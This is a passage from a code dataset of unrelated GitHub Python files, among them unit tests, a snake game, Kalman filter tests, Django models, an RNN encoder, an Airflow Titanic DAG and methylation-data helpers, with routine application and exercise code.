patch('builtins.input', return_value='1'):\n self.assertEqual(edit.select_task_header(), 1)\n\n def test_edit_task(self):\n headers = ['Date', 'Task Name', 'Time Spent', 'Task Note']\n query = Task.select().where(Task.first_name == 'TEST')\n id = []\n for item in query:\n id.append(item.id)\n\n newdate = '9/9/2009'\n with patch('builtins.input', return_value=newdate):\n edit.edit_task(id[0], 1)\n query = Task.select().where(Task.date == datetime.datetime.strptime(newdate, '%m/%d/%Y'))\n assert len(list(query)) >= 1\n\n newname = 'NEWTEST'\n with patch('builtins.input', return_value=newname):\n edit.edit_task(id[0], 2)\n query = Task.select().where(Task.task == newname)\n assert len(list(query)) >= 1\n\n newtime = 777\n with patch('builtins.input', return_value=newtime):\n edit.edit_task(id[0], 3)\n query = Task.select().where(Task.time_spent == newtime)\n assert len(list(query)) >= 1\n\n newnote = 'NEWNOTE'\n with patch('builtins.input', return_value=newnote):\n edit.edit_task(id[0], 4)\n query = Task.select().where(Task.note == newnote)\n assert len(list(query)) >= 1\n\n def test_delete_task(self):\n query = Task.select().where(Task.first_name == 'TEST')\n id = []\n for item in query:\n id.append(item.id)\n\n checkers.delete_task(id[0])\n query = Task.select().where(Task.task == 'NEWTEST')\n assert len(list(query)) == 0\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"baselbb/worklog_database","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":7731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25940199003","text":"from flgo.experiment.logger import BasicLogger\nimport numpy as np\n\nclass PFLLogger(BasicLogger):\n def log_once(self, *args, **kwargs):\n # local performance\n cvals = []\n ctests = []\n for c in self.clients:\n model = c.model if (hasattr(c, 'model') and c.model is not None) else self.server.model\n cvals.append(c.test(model, 'val'))\n ctests.append(c.test(model, 'test'))\n cval_dict = {}\n if len(cvals)>0:\n for met_name in cvals[0].keys():\n if met_name not in cval_dict.keys(): cval_dict[met_name] = []\n for cid in range(len(cvals)):\n cval_dict[met_name].append(cvals[cid][met_name])\n self.output['local_val_'+met_name].append(float(np.array(cval_dict[met_name]).mean()))\n ctest_dict = {}\n if len(ctests)>0:\n for met_name in ctests[0].keys():\n if met_name not in ctest_dict.keys(): ctest_dict[met_name] = []\n for cid in range(len(ctests)):\n ctest_dict[met_name].append(ctests[cid][met_name])\n self.output['local_test_'+met_name].append(float(np.array(ctest_dict[met_name]).mean()))\n # global performance\n # gmetrics = self.server.test(self.server.model, 'test')\n # for met_name, met_val in gmetrics.items():\n # self.output['global_test_' + met_name].append(met_val)\n # output to stdout\n self.show_current_output()","repo_name":"WwZzz/easyFL","sub_path":"flgo/experiment/logger/pfl_logger.py","file_name":"pfl_logger.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","stars":357,"dataset":"github-code","pt":"67"} +{"seq_id":"41137345933","text":"from bisect import bisect_left\nn = int(input())\n\ndata = []\nfor i in range(n):\n data.append(list(map(int,input().split())))\ntarget = int(input())\n\ndef search():\n for i in range(len(data)):\n if data[i][len(data[i])-1] > target:\n a = bisect_left(data[i],target)\n if data[i][a] == target:\n return 'true'\n return 'false'\n\nprint(search())\n \n#책은 맨 위 오른쪽끝에서 시작하여 타겟이 해당 값보다 작으면 왼쪽으로 크면 아래로 이동\ndef searchMatrix(matrix,target):\n #예외 처리\n if not matrix:\n return False\n\n #첫 행의 맨 뒤\n row = 0\n col = len(matrix[0]) -1\n\n while row <= len(matrix)-1 and col >=0:\n if target == matrix[row][col]:\n return True\n #타겟이 작으면 왼쪽으로 이동\n elif target < matrix[row][col]:\n col -=1\n #타겟이 크면 아래로 이동\n elif target > matrix[row][col]:\n row +=1\n return False\n\nprint(searchMatrix(data,target))","repo_name":"seungh1024/algorithm","sub_path":"코테공부/이진 탐색/책/2D행렬검색2.py","file_name":"2D행렬검색2.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38356830048","text":"import pygame\nimport random\nfrom collections import namedtuple\n\npygame.init()\n# Fonts \nfont = pygame.font.SysFont(\"Roboto-Bold .ttf\", 30, True)\nbigfont = pygame.font.SysFont(\"Roboto-Bold .ttf\", 50, True)\n\n# Music\npygame.mixer.music.load(\"Monkeys-Spinning-Monkeys.mp3\")\npygame.mixer.music.play(-1)\n# Directions\nclass Direction():\n RIGHT = 'RIGHT'\n LEFT = 'LEFT'\n UP = 'UP'\n DOWN = 'DOWN'\n\n# Getting Positions \nPoint = namedtuple('Point', 'x y')\n\n# Colors \nWHITE = (255, 255, 255)\nRED = (255, 0, 0)\nGREEN1 = (255, 255, 255)\nGREEN2 = (0, 255, 0)\nBLACK = (0, 0, 0)\nGRASS = (204, 153, 255)\n# Variables \nBLOCK_SIZE = 20\nSPEED = 7\nrunning = True\ngame_over = False\n\n# Main Class\nclass Game:\n def __init__(self, WIDTH=800, HEIGHT=600):\n # Initializing \n self.WIDTH = WIDTH\n self.HEIGHT = HEIGHT\n self.clock = pygame.time.Clock()\n self.display = pygame.display.set_mode((self.WIDTH, self.HEIGHT))\n pygame.display.set_caption('Snake')\n\n # Starting positions, directions \n self.direction = Direction.RIGHT\n self.head = Point(self.WIDTH // 2, self.HEIGHT // 2)\n # The initial snake with a length of 3 with its body coordinates \n self.snake = [self.head,\n Point(self.head.x - BLOCK_SIZE, self.head.y),\n Point(self.head.x - (2 * BLOCK_SIZE), self.head.y)]\n self.level = 0\n self.score = 0\n self.food = None\n self.food_move()\n # Moving Food to random positions \n def food_move(self):\n x = random.randint(0, (self.WIDTH - BLOCK_SIZE) // BLOCK_SIZE) * BLOCK_SIZE\n y = random.randint(0, (self.HEIGHT - BLOCK_SIZE) // BLOCK_SIZE) * BLOCK_SIZE\n self.food = Point(x, y)\n if self.food in self.snake:\n self.food_move()\n # Snake Turns and the Exit Condition \n def play_step(self):\n # User Inputs From Keyboard \n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT and self.direction != Direction.RIGHT:\n self.direction = Direction.LEFT\n elif event.key == pygame.K_RIGHT and self.direction != Direction.LEFT:\n self.direction = Direction.RIGHT\n elif event.key == pygame.K_UP and self.direction != Direction.DOWN:\n self.direction = Direction.UP\n elif event.key == pygame.K_DOWN and self.direction != Direction.UP:\n self.direction = Direction.DOWN\n\n # Move \n self.move(self.direction) # Update The Head\n self.snake.insert(0, self.head)\n\n # Check If Game Over \n if self.collision():\n global game_over\n game_over = True\n\n # Place New Food \n if self.head == self.food:\n self.score += 1\n self.food_move()\n if self.score//5 > self.level:\n global SPEED\n self.level = self.score//5\n SPEED += 3\n else:\n self.snake.pop()\n\n # Update Interface\n\n self.update()\n self.clock.tick(SPEED)\n\n def collision(self):\n # Hits Boundary \n if self.head.x > self.WIDTH - BLOCK_SIZE or self.head.x < 0 or self.head.y > self.HEIGHT - BLOCK_SIZE or self.head.y < 0:\n pygame.display.flip()\n return True\n # Hits Itself \n global game_over\n if self.head in self.snake[1:]:\n # pygame.display.flip()\n return True\n\n return False\n\n def update(self):\n self.display.fill(GRASS)\n\n for skin in self.snake:\n pygame.draw.rect(self.display, GREEN1, pygame.Rect(skin.x, skin.y, BLOCK_SIZE, BLOCK_SIZE))\n pygame.draw.rect(self.display, GREEN2, pygame.Rect(skin.x + 4, skin.y + 4, 12, 12))\n\n pygame.draw.rect(self.display, RED, pygame.Rect(self.food.x, self.food.y, BLOCK_SIZE, BLOCK_SIZE))\n\n text1 = font.render(f\"Score: {self.score}\", True, WHITE)\n text2 = font.render(f\"Level: {self.level}\", True, WHITE)\n self.display.blit(text1, (10, 10))\n self.display.blit(text2, (10, 30))\n if self.collision():\n pygame.mixer.music.stop()\n text3 = bigfont.render(f\"Press R to Restart\", True, WHITE)\n self.display.blit(text3, (self.HEIGHT // 2 - 50, self.WIDTH // 2 - 140))\n pygame.display.flip()\n\n # Snake Movement \n def move(self, direction):\n x = self.head.x\n y = self.head.y\n if direction == Direction.RIGHT:\n x += BLOCK_SIZE\n elif direction == Direction.LEFT:\n x -= BLOCK_SIZE\n elif direction == Direction.DOWN:\n y += BLOCK_SIZE\n elif direction == Direction.UP:\n y -= BLOCK_SIZE\n self.head = Point(x, y)\n\n\n# Game Loop\ngame = Game()\nwhile running:\n # game_over\n score = game.play_step()\n if game_over == True:\n while game_over:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n # Restart Conditions \n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_r:\n SPEED = 7\n game = Game()\n game_over = False\n\npygame.quit()\nexit()","repo_name":"aitazhibayeva/Programming_Principles_II","sub_path":"tsis8/snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":5497,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"31832716559","text":"import pytest\nimport numpy as np\nfrom numpy.random import multivariate_normal as sample_mvn\n\nfrom starman import KalmanFilter, rts_smooth, MultivariateNormal\n\n# Our state is x-position, y-position, x-velocity and y-velocity.\n# The state evolves by adding the corresponding velocities to the\n# x- and y-positions.\nF = np.array([\n [1, 0, 1, 0], # x <- x + vx\n [0, 1, 0, 1], # y <- y + vy\n [0, 0, 1, 0], # vx is constant\n [0, 0, 0, 1], # vy is constant\n])\n\n# Specify the length of the state vector\nSTATE_DIM = 4\n\n# Specify the process noise covariance\nQ = np.diag([1e-2, 1e-2, 1e-2, 1e-2]) ** 2\n\n# How many states should we generate?\nN = 100\n\n# We only measure position\nH = np.array([\n [1, 0, 0, 0],\n [0, 1, 0, 0],\n])\n\n# And we measure with some error\nR = np.diag([0.1, 0.1]) ** 2\n\n# Specify the measurement vector length\nMEAS_DIM = 2\n\ndef generate_true_states(count=N):\n # Generate some \"true\" states\n initial_state = np.zeros(STATE_DIM)\n true_states = [initial_state]\n\n for _ in range(count-1):\n # Next state is determined by last state...\n next_state = F.dot(true_states[-1])\n\n # ...with added process noise\n next_state += sample_mvn(mean=np.zeros(STATE_DIM), cov=Q)\n\n # Record the state\n true_states.append(next_state)\n\n # Stack all the true states into a single NxSTATE_DIM array\n true_states = np.vstack(true_states)\n assert true_states.shape == (count, STATE_DIM)\n\n return true_states\n\ndef generate_measurements(true_states):\n # Generate measurements\n measurements = []\n\n for state in true_states:\n # Measure state...\n z = H.dot(state)\n\n # ...with added measurement noise\n z += sample_mvn(mean=np.zeros(MEAS_DIM), cov=R)\n\n # Record measurement\n measurements.append(z)\n\n # Stack the measurements into an NxMEAS_DIM array\n measurements = np.vstack(measurements)\n assert measurements.shape == (N, MEAS_DIM)\n\n return measurements\n\ndef assert_filter_has_consistent_lengths(kf):\n n = kf.state_count\n assert len(kf.posterior_state_estimates) == n\n assert len(kf.prior_state_estimates) == n\n assert len(kf.measurements) == n\n assert len(kf.process_matrices) == n\n assert len(kf.process_covariances) == n\n\ndef create_filter(true_states, measurements):\n # Create a kalman filter with known process and measurement matrices and\n # known covariances.\n kf = KalmanFilter(state_length=STATE_DIM,\n process_matrix=F, process_covariance=Q)\n\n # For each time step\n for k, z in enumerate(measurements):\n # Predict\n kf.predict()\n\n # Update filter with measurement\n kf.update(MultivariateNormal(mean=z, cov=R), H)\n\n assert_filter_has_consistent_lengths(kf)\n\n # Check that filter length is as expected\n assert kf.state_count == N\n\n # Check that the filter state dimension is as expected\n assert kf.state_length == STATE_DIM\n\n return kf\n\ndef test_kalman_basic():\n np.random.seed(0xdeadbeef)\n\n true_states = generate_true_states()\n measurements = generate_measurements(true_states)\n kf = create_filter(true_states, measurements)\n assert kf.measurement_count == measurements.shape[0]\n\n # Stack all the estimated states from the filter into an NxSTATE_DIM array\n estimated_states = np.vstack([e.mean for e in kf.posterior_state_estimates])\n assert estimated_states.shape == (N, STATE_DIM)\n\n # It is vanishingly unlikely that we're wrong by 5 sigma.\n for est, true in zip(kf.posterior_state_estimates, true_states):\n delta = est.mean - true\n dist = delta.dot(np.linalg.inv(est.cov)).dot(delta)\n assert dist < 5*5\n\n assert_filter_has_consistent_lengths(kf)\n\ndef test_kalman_truncate():\n np.random.seed(0xdeadbeef)\n\n true_states = generate_true_states()\n measurements = generate_measurements(true_states)\n kf = create_filter(true_states, measurements)\n\n assert_filter_has_consistent_lengths(kf)\n assert kf.state_count == N\n kf.truncate(N + 2)\n assert_filter_has_consistent_lengths(kf)\n assert kf.state_count == N\n kf.truncate(N - 2)\n assert_filter_has_consistent_lengths(kf)\n assert kf.state_count == N - 2\n\ndef test_kalman_clone():\n np.random.seed(0xdeadbeef)\n\n true_states = generate_true_states()\n measurements = generate_measurements(true_states)\n kf = create_filter(true_states, measurements)\n\n assert kf.state_count == N\n\n kf2 = kf.clone()\n assert kf2.state_count == N\n kf2.truncate(N - 2)\n assert kf.state_count == N\n assert kf2.state_count == N - 2\n assert_filter_has_consistent_lengths(kf)\n assert_filter_has_consistent_lengths(kf2)\n\ndef test_rts_smooth():\n np.random.seed(0xdeadbeef)\n\n true_states = generate_true_states()\n measurements = generate_measurements(true_states)\n kf = create_filter(true_states, measurements)\n\n # Perform RTS smoothing\n estimates = rts_smooth(kf)\n\n # It is vanishingly unlikely that we're wrong by 5 sigma.\n for est, true in zip(estimates, true_states):\n delta = est.mean - true\n dist = delta.dot(np.linalg.inv(est.cov)).dot(delta)\n assert dist < 5*5\n\n # Check rts_smooth validates arguments\n with pytest.raises(ValueError):\n rts_smooth(kf, state_count=-1)\n with pytest.raises(ValueError):\n rts_smooth(kf, state_count=kf.state_count + 1)\n\n # Check we can ask for 0 states\n assert len(rts_smooth(kf, 0)) == 0\n\n # Check we work with an empty filter\n assert len(rts_smooth(KalmanFilter(state_length=STATE_DIM), 0)) == 0\n","repo_name":"rjw57/starman","sub_path":"test/test_kalman.py","file_name":"test_kalman.py","file_ext":"py","file_size_in_byte":5583,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"67"} +{"seq_id":"9345214946","text":"alphabet='ABCDEFGHIJKLMNOPQRSTUVWXYZ'\nactions='+-'\na=input()\nnum=False\nfor c in a:\n if c in alphabet:\n if num:\n print()\n num=False\n print(c,end=\"\")\n elif c in actions:\n if c=='+':\n print(' tighten ',end=\"\")\n else:\n print(' loosen ',end=\"\")\n else:\n num=True\n print(c, end=\"\")","repo_name":"aqts-aqts/ccc-solutions","sub_path":"2022/J3.py","file_name":"J3.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"21333619727","text":"from core.models import CreatedModel\nfrom django.conf import settings\nfrom django.contrib.auth import get_user_model\nfrom django.db import models\n\nfrom .validators import validate_not_empty\n\nUser = get_user_model()\n\n\nclass Group(models.Model):\n title = models.CharField(max_length=200, verbose_name='Название')\n slug = models.SlugField(unique=True, verbose_name='Ссылка')\n description = models.TextField(verbose_name='Описание')\n\n def __str__(self):\n return self.title\n\n\nclass Post(CreatedModel):\n text = models.TextField(\n validators=[validate_not_empty],\n verbose_name='Текст поста',\n help_text='Введите текст поста',\n )\n author = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n related_name='posts',\n verbose_name='Автор',\n )\n group = models.ForeignKey(\n Group,\n on_delete=models.SET_NULL,\n blank=True,\n null=True,\n related_name='posts',\n verbose_name='Группа',\n help_text='Группа, к которой будет относиться пост',\n )\n image = models.ImageField(\n upload_to='posts/',\n blank=True,\n verbose_name='Картинка',\n )\n\n class Meta:\n ordering = ('-pub_date',)\n\n def __str__(self):\n return self.text[:settings.MAX_LENGTH_STR]\n\n\nclass Comment(CreatedModel):\n post = models.ForeignKey(\n Post,\n on_delete=models.CASCADE,\n related_name='comments',\n verbose_name='Комментарий'\n )\n author = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n related_name='comments',\n verbose_name='Автор комментария',\n )\n text = models.TextField(\n validators=[validate_not_empty],\n verbose_name='Текст комментария',\n help_text='Введите текст комментария',\n )\n\n def __str__(self):\n return self.text[:settings.MAX_LENGTH_STR]\n\n\nclass Follow(models.Model):\n user = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n related_name='follower',\n verbose_name='Подписчик'\n )\n author = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n related_name='following',\n verbose_name='Подписаться на'\n )\n","repo_name":"GAFisher/hw05_final","sub_path":"yatube/posts/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41800057021","text":"import torch\nimport torch.nn as nn\nfrom logbook import Logger\nfrom torch.nn.utils.rnn import pad_packed_sequence as unpack, pack_padded_sequence as pack\n\nfrom thseq.models import EncoderBase\nfrom thseq.nn.embedding import Embedding\n\nlogger = Logger()\n\n\nclass Encoder(EncoderBase):\n def __init__(self, args, vocabulary):\n super().__init__(args, vocabulary)\n\n self.rnn = nn.GRU(args.input_size, args.hidden_size, bidirectional=True, batch_first=True)\n # self.embedding = Embedding(len(vocabulary), args.input_size, True, padding_idx=vocabulary.pad_id)\n self.embedding = nn.Embedding(len(vocabulary), args.input_size, padding_idx=vocabulary.pad_id)\n self.dropout_input = nn.Dropout(args.dropout_input)\n self.dropout_hidden = nn.Dropout(args.dropout_hidden)\n # @staticmethod\n # def args_default(args):\n # args.encoder_cudnn = get_value_or_default(args, 'encoder_cudnn', False)\n # args.encoder_input_size = get_value_or_default(args, 'encoder_input_size', 1000)\n # args.encoder_hidden_size = get_value_or_default(args, 'encoder_hidden_size', 1000)\n # args.encoder_directions = get_value_or_default(args, 'encoder_directions', (2, 1))\n # args.encoder_mode = get_value_or_default(args, 'encoder_mode', 'gru')\n # args.encoder_bias = get_value_or_default(args, 'encoder_bias', 1)\n # args.encoder_bias_forget = get_value_or_default(args, 'encoder_bias_forget', 0)\n # args.encoder_layer_norm = get_value_or_default(args, 'encoder_layer_norm', 1)\n # args.encoder_learn_init = get_value_or_default(args, 'encoder_learn_init', 0)\n # args.encoder_dropout_i = get_value_or_default(args, 'encoder_dropout_i', 0.2)\n # args.encoder_dropout_r = get_value_or_default(args, 'encoder_dropout_r', None)\n # args.encoder_dropout_h = get_value_or_default(args, 'encoder_dropout_h', 0.2)\n # args.encoder_dropout_o = get_value_or_default(args, 'encoder_dropout_o', 0.2)\n # args.encoder_drop_weight = get_value_or_default(args, 'encoder_drop_weight', None)\n # args.encoder_residual = get_value_or_default(args, 'encoder_residual', 1)\n # return args\n\n def forward(self, input, h0=None):\n mask = input.eq(self.vocabulary.pad_id)\n # Trim mask when trained with data-parallel\n lens = input.size(1) - mask.sum(1)\n if torch.cuda.device_count() > 1:\n max_len = lens.max().item()\n mask = mask[:, :max_len]\n x = self.embedding(input)\n x = self.dropout_input(x)\n x = pack(x, lens.tolist(), batch_first=True)\n x, hx = self.rnn(x, h0)\n x, _ = unpack(x, batch_first=True)\n x = self.dropout_hidden(x)\n\n # summary = x.sum(1) / lens.view(-1, 1).float()\n # summary=hx[1]\n summary = x.sum(1) / lens.view(-1,1).float()\n\n return {\n 'feature': x,\n 'hidden': summary,\n 'mask': mask\n }\n","repo_name":"DeepLearnXMU/ABDNMT-RNMT","sub_path":"thseq/models/recurrent/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":2967,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"67"} +{"seq_id":"70118649813","text":"\n# List - https://leetcode.com/problems/number-of-laser-beams-in-a-bank/\n\n# Space: O(1)\n# Time: O(n)\n\nclass Solution:\n def numberOfBeams(self, bank: List[str]) -> int:\n \n ans = last = 0\n for i in range(len(bank)):\n count = bank[i].count('1')\n if count:\n ans += count * last\n last = count\n \n return ans","repo_name":"dryeab/competitive-programming","sub_path":"Leetcode/2125. Number of Laser Beams in a Bank.py","file_name":"2125. Number of Laser Beams in a Bank.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"46669398036","text":"from unittest.mock import DEFAULT\nimport nidaqmx\n\ntask = nidaqmx.Task()\n\ntask.ai_channels.add_ai_voltage_chan(\"dev1/ai0\") \n\ntask.start()\n\nvalue = task.read()\n\nprint(value)\n\ntask.stop()\n\ntask.close()\n\n#dev1/ai0","repo_name":"gustavomrv/DAQRead_with_Python","sub_path":"DAQRead_with_Python_test.py","file_name":"DAQRead_with_Python_test.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29027210720","text":"# https: // codeforces.com/gym/101502/problem/G\n# Nen build memoiz when constructing the trie\n\n\nclass Node:\n def __init__(self):\n self.children = {}\n self.count = 0\n\n\ndef addString(root, s, memoiz):\n cur = root\n level = 1\n for i in range(len(s)-1, -1, -1):\n c = s[i]\n if c not in cur.children:\n cur.children[c] = Node()\n\n cur = cur.children[c]\n cur.count += 1\n\n if level not in memoiz:\n memoiz[level] = 0\n memoiz[level] = max(memoiz[level], cur.count)\n level += 1\n\n\n# def retrieveFrequency(root, currentLevel, level, memoiz):\n# # print(root, level, memoiz)\n# cur = root\n# ans = 0\n\n# if currentLevel == level:\n# for c in cur.children.keys():\n# ans = max(ans, cur.children[c].count)\n# # return ans\n# else:\n# for c in cur.children.keys():\n# ans = max(retrieveFrequency(cur.children[c], level-1, memoiz), ans)\n\n# memoiz[level] = ans\n# # print(memoiz)\n# return ans\n\n# O(q + m)\n\n\ndef solve():\n n, q = map(int, input().split())\n root = Node()\n memoiz = {}\n for _ in range(n):\n addString(root, input(), memoiz)\n\n # print(memoiz)\n for _ in range(q):\n x = int(input())\n # if x not in memoiz:\n # retrieveFrequency(root, 0, x, memoiz)\n\n print(memoiz[x])\n\n\ndef main():\n t = int(input())\n\n for _ in range(t):\n solve()\n\n\nmain()\n","repo_name":"Mtinkering/i-dont-know-algo","sub_path":"big-o/20-final/cf-101502-g-sol.py","file_name":"cf-101502-g-sol.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41561830475","text":"import os\r\nimport datetime as dt\r\nimport pandas\r\nfrom airflow.models import DAG\r\nfrom airflow.operators.python import PythonOperator\r\nfrom airflow.operators.bash import BashOperator\r\n\r\nargs = {\r\n 'owner': 'airflow',\r\n 'start_date': dt.datetime(2021, 10, 14),\r\n 'retries': 1,\r\n 'retry_delay': dt.timedelta(minutes=1),\r\n 'depends_on_past': False,\r\n}\r\ndef get_path(file_name):\r\n return os.path.join(os.path.expanduser('~'), file_name)\r\n\r\ndef download_titanic_dataset():\r\n url = 'https://web.stanford.edu/class/archive/cs/cs109/cs109.1166/stuff/titanic.csv'\r\n df = pandas.read_csv(url)\r\n df.to_csv(get_path('titanic.csv'), encoding = 'utf-8')\r\n\r\ndef pivot_dataset():\r\n titanic_df = pandas.read_csv(get_path('titanic.csv'))\r\n df = titanic_df.pivot_table(index = ['Sex'], columns = ['Pclass'], values = 'Name', aggfunc = 'count').reset_index()\r\n df.to_csv(get_path('titanic_pivot.csv'))\r\n\r\ndef mean_fare_per_class():\r\n titanic_df = pandas.read_csv(get_path('titanic.csv'))\r\n df = titanic_df.pivot_table(index = ['Sex'], columns = ['Pclass'], values = 'Fare', aggfunc = 'mean').reset_index()\r\n\r\nwith DAG(\r\n dag_id = 'titanic_pivot_mean_fare',\r\n schedule_interval = None,\r\n default_args = args,\r\n) as dag:\r\n first_task = BashOperator(\r\n task_id = 'first_task',\r\n bash_command = 'echo \"Here we start! Info: run_id={{ run_id }} | dag_run = {{ dag_run }}\"',\r\n dag = dag,\r\n )\r\n create_titanic_dataset = PythonOperator(\r\n task_id = 'download_titanic_dataset',\r\n python_callable = pivot_dataset,\r\n dag = dag,\r\n )\r\n pivot_titanic_dataset = PythonOperator(\r\n task_id = 'pivot_dataset',\r\n python_callable = pivot_dataset,\r\n dag = dag,\r\n )\r\n mean_fares_titanic_dataset = PythonOperator(\r\n task_id = 'mean_fares_titanic_dataset',\r\n python_callable = mean_fare_per_class,\r\n dag = dag,\r\n )\r\n last_task = BashOperator(\r\n task_id = 'last_task',\r\n bash_command = 'echo \"Pipeline finished! Execution date is {{ execution_date.strftime(\"%Y-%m-%d\") }}\"',\r\n dag = dag,\r\n )\r\n\r\n first_task >> create_titanic_dataset >> [pivot_titanic_dataset, mean_fare_per_class] >> last_task","repo_name":"tristessergey/dags","sub_path":"homework1.py","file_name":"homework1.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7542724035","text":"import pandas as pd\nimport pickle\nimport numpy as np\nimport traceback\nfrom os.path import isfile, join\nfrom os import listdir\nimport os\n\n\ndef process_geodata(directory, clust_dict):\n y_val = pd.DataFrame()\n x_val = pd.DataFrame()\n\n dict = open_file(clust_dict)\n sample_names = []\n\n for filename in os.listdir(directory):\n file_path = os.path.join(directory, filename)\n\n df = pd.read_csv(file_path, sep=\",\", header=0, index_col=0)\n\n cancer_name = (\n get_cancer_acronym(filename.split(\"_\")[0]) if \"_\" in filename else None\n )\n\n if cancer_name:\n df = get_data(df, dict, name=cancer_name, output=True, save=False)\n\n # Updating y_val\n df_y = df.copy()\n df_y[cancer_name] = (~df_y.index.str.contains(\"n\")).astype(int)\n df_y[\"Normal\"] = (df_y.index.str.contains(\"n\")).astype(int)\n df_y = df_y[[cancer_name, \"Normal\"]]\n y_val = pd.concat([y_val, df_y])\n\n # Updating x_val\n x_val = pd.concat([x_val, df])\n\n y_val = y_val.fillna(0)\n x_val = x_val.fillna(0)\n\n # Save y_val and x_val to pickle files\n print(y_val)\n print(x_val)\n y_val.to_pickle(\"y_val.pickle\")\n x_val.to_pickle(\"x_val.pickle\")\n\n\ndef get_cancer_acronym(experiment_number):\n \"\"\"\n Given an experiment number, return the corresponding cancer acronym.\n\n :param experiment_number: A string representing the experiment number.\n :return: A string representing the cancer acronym.\n \"\"\"\n mapping = {\n \"GSE54719\": \"NB\",\n \"GSE59157\": \"WT\",\n \"GSE62298\": \"AML\",\n \"GSE113501\": \"RCC\",\n }\n\n return mapping.get(experiment_number, \"Unknown\")\n\n\ndef make_name(prefix, suffix, filetype):\n \"\"\"generates filenames or filepaths\n if dots or slashes separate the three parts they must be included in the text of one of the parts\n prefix may be a filepath\n suffix may be the filename\n filetype is the type of file\n\n \"\"\"\n name = prefix + suffix + filetype\n return name\n\n\ndef mark_normals(sample_df):\n mask = sample_df.index.str.contains(\"11\") # Find rows where index contains '11'\n sample_df.loc[\n mask, sample_df.columns[2]\n ] = 33 # Set third column value to 33 in those rows\n return sample_df\n\n\ndef sep_normals(sample_df):\n # Create a boolean mask for rows where the index doesn't contain '11'\n mask = sample_df.index.str.contains(\"11\")\n # Apply the mask to the DataFrame to keep only the rows where the first column doesn't contain '11'\n sample_df2 = sample_df[mask]\n return sample_df2\n\n\ndef check_normal(row):\n # Extract the last number in the 'Sample ID'\n last_number = int(row.name.split(\"-\")[-1][:-1])\n # If the number is greater than 10, set all values to 0 and 'Normal' to 1\n if last_number >= 10:\n row.loc[:] = 0\n row[\"Normal\"] = 1\n return row\n\n\ndef get_x_vals(sample_df):\n mask = ~sample_df.index.str.contains(\"11\")\n sample_df2 = sample_df[mask]\n return sample_df2\n\n\ndef rename_cols(data, row_name):\n \"\"\"data must be a pandas DataFrame\n renames columns with the values in a given row\n rows may not be referenced by row/index number unless the number is also the name of the row\n \"\"\"\n columns = data.loc[row_name]\n data.columns = columns\n return data\n\n\ndef assemble_x(names, pathway=False, reshuffle=False):\n \"\"\"takes the names provided and opens the .pickle files associated with that name\n pathway is a boolean to declare that the names are a full pathway\"\"\"\n if pathway == False:\n p = picklefy(names)\n else:\n p = names\n d = list()\n for i in p:\n d.append(open_file(i))\n data = pd.concat(d)\n if reshuffle == True:\n data = data.sample(frac=1)\n return data\n\n\ndef picklefy(names):\n p = list()\n for i in names:\n p.append(i + \".pickle\")\n return p\n\n\ndef save_file(data, name):\n \"\"\"can save files as csv or in pickle format.\n pickle is preferred as it is faster\n csv save must have data in a pandas DataFrame\n \"\"\"\n filetype = name.split(\".\")[-1]\n assert (\n filetype == \"pickle\"\n or filetype == \"csv\"\n or filetype == \"txt\"\n or filetype == \"pkl\"\n or filetype == \"sampleMap_HumanMethylation450\"\n ), \"filetype must be 'pickle', or 'csv'\"\n if filetype == \"pkl\":\n with open(name, \"wb\") as handle:\n pickle.dump(data, handle)\n if filetype == \"pickle\":\n with open(name, \"wb\") as handle:\n pickle.dump(data, handle)\n if filetype == \"csv\":\n assert (\n type(data) == pd.DataFrame\n ), \"to save as 'csv' please ensure the data is a pandas DataFrame\"\n data.to_csv(name)\n\n\ndef open_file(filename, sep=\",\", header=0, index_col=None, rename=None):\n \"\"\"opens a file.\n Capable of opening pickle, csv or txt formats\n for csvs or txt the separator must be indicated\n if a specific index should be used as the column names then index_col may be used and must be the index number\n if index number is unknown but index name is then rename will take the index name and do the same thing as index_col\n \"\"\"\n # from pandas.io.parser import CParserError\n\n filetype = filename.split(\".\")[-1]\n assert (\n filetype == \"pickle\"\n or filetype == \"csv\"\n or filetype == \"txt\"\n or filetype == \"pkl\"\n or filetype == \"sampleMap_HumanMethylation450\"\n ), \"filetype must be 'pickle', txt' or 'csv'\"\n if filetype == \"pkl\":\n data = pd.read_pickle(filename)\n if filetype == \"pickle\":\n with open(filename, \"rb\") as handle:\n data = pickle.load(handle)\n\n if filetype == \"csv\":\n # assert type(data) == pd.DataFrame, \"to 